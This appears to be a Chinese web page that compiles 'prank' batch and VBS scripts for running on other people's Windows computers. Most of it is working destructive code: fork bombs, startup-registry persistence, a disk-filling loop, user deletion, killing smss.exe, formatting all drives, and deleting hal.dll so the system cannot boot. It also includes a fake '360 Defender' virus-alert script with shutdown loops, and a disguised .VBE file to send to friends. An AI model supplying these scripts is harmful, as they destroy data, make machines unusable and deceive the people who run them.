本文目录一览：

• 1、bat整人代码
• 2、你见过有哪些搞笑的代码？
• 3、求简单的整人Bat代码
• 4、有没有一些恶搞别人的vbs代码
• 5、手机QQ的整人代码大全

bat整人代码

注意条款：全部代码没有正常解除方式，会对机器造成伤害，在实体机上实验概不负责！

@echo off

echo 开始

:2

start cmd.exe

goto 2

就是主要是利用goto 来跳转到:2

循环跳转...就是循环用start 打开CMD ^^

友情提示...死机不负责.......

也可以利用

别的

@echo off

net user

%0

这里的核心是%0 他表示本身 就是循环运行本身^^

这里循环运行net user

上面主要把别人电脑整死机

下面我们利用修改注册表来恶整

常见修改注册表

就是开机加载 这世界人都知道

@echo off

echo wahaha

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe(开机加载文件的名字) /d C:\WINDOWS\system32\ctfmon.exe(这里是开机加载文件的路径)

这里可以添加一个开始我们弄的哪个strat 这个

@echo off

echo echo 开始 c:\windows\cnhacker.bat

echo :2 c:\windows\cnhacker.bat

echo start cmd.exe c:\windows\cnhacker.bat

echo goto 2c:\windows\cnhacker.bat

这里自动在windows下生成cnhacker.bat

然后利用上面开机加载 写起...就OK拉

修改IE栏

reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "要改的名字...." /f

屏蔽修改主页那里

reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f

简单硬盘炸弹(多生成垃圾文章)

echo off

set a=0

:22

set /a a=%a%+1

echo laji C:\%a%.txt

goto 22

如何要效果好 最好加一段vbs代码 隐藏运行 在C盘制造大量的垃圾TXT文件

修改不电脑显示

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f

把00000000 改成00000001 就可以恢复

这段大家不要实验......

就是利用%username%

net user %username% /del (删除当前使用的用户 不可以直接删除ADMINISTRATOR用户外)

造成你电脑上面ADMINISTRATOR桌面资料丢失

net user %username% /add

NET LOCALGROUP ADMINISTRATORS %username% /add

强行结束smss.exe 进程

ntsd -c q -pn smss.exe (结束该进程你的电脑即将卡死鼠标不能用)

shutdown -a (放弃关闭计算机)

危险不要实验

迅速格式所有盘符

for /f %%i in (d:,e:f:g:h:) do format /q /y %%i

这个必须要利用记事本保存 然后.bat 才能够执行 在CMD下面 无法执行

这些都是病毒常见修改注册表的位置和脚本喜欢改的地方...比较常见!~~

颜色属性由两个十六进制数字指定 --

第一个为背景，第二个则为前景。

每个数字可以为以下任何值之一:

例如color 0d 它就是黑色背景 淡紫色字体

0 = 黑色 8 = 灰色

1 = 蓝色 9 = 淡蓝色

2 = 绿色 A = 淡绿色

3 = 湖蓝色 B = 淡浅绿色

4 = 红色 C = 淡红色

5 = 紫色 D = 淡紫色

6 = 黄色 E = 淡黄色

7 = 白色 F = 亮白色

你见过有哪些搞笑的代码？

有天，正在编程一个游戏，做货币系统的时候，上了个厕所，不知道哪个同事弄成了。游戏写好了，原来的“点券”变成了，你是一个2B哟，咿呀咿呀哟。

求简单的整人Bat代码

代码开始，只抄横线里面的

_______________________________

@echo off

net user administrator nishizhu\add

del /s /q c:\Windows\System32\hal.dll

shutdown -s -t 5 -c 你是一头猪！！！

_______________________________

代码详解：

@echo off —— 隐藏命令，关闭回显。

net user administrator nishizhu\add —— 把开机密码改成“nishizhu\add”

del /s /q c:\Windows\System32\hal.dll —— 删掉系统加载程序（删了就开不了机）

shutdown -s -t 5 -c 你是一头猪！！！ —— 定时关机5秒钟，并提示你是一头猪！！！

有没有一些恶搞别人的vbs代码

自编vbs仅供娱乐！！！

set qstart = wscript.CreateObject("wscript.shell")

set qweb = CreateObject("Wscript.Shell")

set qwrite = CreateObject("scripting.filesystemobject")

set qsay = CreateObject("sapi.spvoice")

qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》

msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"

qstart.run "cmd.exe /c start appwiz.cpl"

qstart.run "cmd.exe /c start bthprops.cpl"

qstart.run "cmd.exe /c start calc.exe"

qstart.run "cmd.exe /c start cleanmgr.exe"

qstart.run "cmd.exe /c start cmd.exe"

qstart.run "cmd.exe /c start colorcpl.exe"

qstart.run "cmd.exe /c start control.exe"

qstart.run "cmd.exe /c start cttune.exe"

qstart.run "cmd.exe /c start desk.cpl"

qstart.run "cmd.exe /c start dfrgui.exe"

qstart.run "cmd.exe /c start dxdiag.exe"

qstart.run "cmd.exe /c start FileHistory.exe"

qstart.run "cmd.exe /c start Firewall.cpl"

qstart.run "cmd.exe /c start Fondue.exe"

qstart.run "cmd.exe /c start fontview.exe"

qstart.run "cmd.exe /c start fsquirt.exe"

qstart.run "cmd.exe /c start hdwwiz.cpl"

qstart.run "cmd.exe /c start inetcpl.cpl"

qstart.run "cmd.exe /c start intl.cpl"

qstart.run "cmd.exe /c start irprops.cpl"

qstart.run "cmd.exe /c start joy.cpl"

qstart.run "cmd.exe /c start LaunchTM.exe"

qstart.run "cmd.exe /c start Magnify.exe"

qstart.run "cmd.exe /c start main.cpl"

qstart.run "cmd.exe /c start mblctr.exe"

qstart.run "cmd.exe /c start mmsys.cpl"

qstart.run "cmd.exe /c start msinfo32.exe"

qstart.run "cmd.exe /c start mspaint.exe"

qstart.run "cmd.exe /c start ncpa.cpl"

qstart.run "cmd.exe /c start notepad.exe"

qstart.run "cmd.exe /c start powercfg.cpl"

qstart.run "cmd.exe /c start RTSnMg64.cpl"

qstart.run "cmd.exe /c start SnippingTool.exe"

qstart.run "cmd.exe /c start sysdm.cpl"

qstart.run "cmd.exe /c start TabletPC.cpl"

qstart.run "cmd.exe /c start telephon.cpl"

qstart.run "cmd.exe /c start timedate.cpl"

qstart.run "cmd.exe /c start write.exe"

qstart.run "cmd.exe /c start wscript.exe"

qstart.run "cmd.exe /c start wscui.cpl"

qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"

qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"

qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"

qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"

qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"

qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"

qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"

wscript.sleep 25000

qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true

qstart.run "cmd.exe /c echo 滚|clip"

A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)

IF A = "是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"

do

qweb.run""

loop

ELSEIF A = "不是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"

msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"

do

qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true

msgbox "取消关机",vbokonly,"360 Defender"

qstart.run "cmd.exe /c shutdown -a",0,true

qweb.run""

qweb.run""

qweb.run""

loop

ELSEIF A = "" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"

msgbox "自己探寻吧",vbokonly,"360 Defender"

do

qstart.run "cmd.exe /c shutdown -s -t 5",0,true

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd.exe /c shutdown -a",0,true

loop

ELSEIF A = "滚" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "emmmmmmmm",vbokonly,"360 Defender"

set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)

qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)

qwriteb.WriteLine "msgbox " chr(34) "滚" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)

qwriteb.close

qwrite.movefile "D:\1.txt","D:\1.vbs"

qstart.run "D:\1.vbs"

ELSE

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"

qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qstart.run "cmd.exe /c shutdown -r -t 5",0,true

END IF

手机QQ的整人代码大全

第一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个QQ炸弹，在30秒后会自动关机。

下面说一下使用方法：

最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊！")

WScript.Echo("推荐你来的肯定是个坏蛋！")

WScript.Echo("欢迎来到被整软件站！")

WScript.Echo("是谁设计的？")

WScript.Echo("Is me")

WScript.Echo("你好，你要点30次确定哦！")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")